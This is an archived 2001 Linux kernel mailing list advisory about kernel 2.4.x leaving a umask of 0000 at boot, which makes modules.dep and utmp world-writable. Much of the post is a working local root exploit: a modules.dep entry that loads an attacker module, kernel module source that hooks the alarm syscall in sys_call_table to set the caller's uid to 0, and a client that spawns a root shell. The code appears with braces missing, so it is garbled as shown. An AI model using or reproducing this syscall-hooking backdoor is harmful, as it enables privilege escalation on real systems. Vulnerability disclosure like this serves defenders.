[lkml]   [2001]   [Jul]   [13]   [last100]   RSS Feed
Views: [wrap][no wrap]   [headers]  [forward] 
Messages in this thread
Subjectumask 000 bug/difference
Submitted by  : Josh (, lockdown
Vulnerability : /lib/modules/2.4.5/modules.dep
Tested On : Slackware 8.0. 2.4.5
Local : Yes
Remote : No
Temporary Fix : umask 022 at the top of all your startup scripts
Target : root
Big thanks to : slider, lamagra, zen-parse
Greets to : alpha, fr3n3tic, omega, eazyass, remmy, RedPen, banned-it,
cryptix, s0ttle, xphantom, qtip, Sultrix,

The 2.4.x kernels starting with 2.4.3 (i think) have, after
load, left a umask of 0000. This forces any files created in the bootup
scripts, without the command `umask 022` issued to be world writeable.
In slackware, files include /var/run/utmp and /var/run/ This same
vulnerability is responsible for creating /lib/modules/`uname -r`/modules.dep
world writeable. With this file world writeable, all an intruder need do is
put something like the following in /lib/modules/`uname -r`/modules.dep
assuming the system's startup scripts modprobe lp:

/lib/modules/2.4.5/kernel/drivers/char/lp.o: /tmp/alarm.o


where the alarm.o module is:

#include <linux/config.h>
#include <linux/module.h>
#include <linux/version.h>
#include <linux/types.h>
#include <asm/segment.h>
#include <asm/unistd.h>
#include <linux/dirent.h>
#include <sys/syscall.h>
#include <sys/sysmacros.h>

#include <linux/sched.h>

#include <linux/errno.h>
#include <linux/fs.h>
#include <linux/kernel.h>

extern void* sys_call_table[];

unsigned int (*old_alarm) (unsigned int seconds);
unsigned int hacked_alarm (unsigned int seconds);

unsigned int hacked_alarm(unsigned int seconds)
if(seconds == 454) {
current->uid = 0;
current->euid = 0;
current->gid = 0;
current->egid = 0;
return 0;
return old_alarm(seconds);

int init_module(void) {
sys_call_table[SYS_alarm] = hacked_alarm;
return 0;

void cleanup_module(void) {
sys_call_table[SYS_alarm] = old_alarm;

make a client:
#include <stdio.h>
#include <unistd.h>

int main(void)
execl("/bin/sh", "sh", NULL);

which will, when the module is loaded, execute a shell as root.

And of course with /var/run/utmp writeable, users can delete or in
other ways manipulate their logins as they appear in
w/who/finger/getlogin(), etc.

To unsubscribe from this list: send the line "unsubscribe linux-kernel" in
the body of a message to
More majordomo info at
Please read the FAQ at

 \ /
  Last update: 2005-03-22 12:57    [W:0.157 / U:0.052 seconds]
©2003-2020 Jasper Spaans|hosted at Digital Ocean and TransIP|Read the blog|Advertise on this site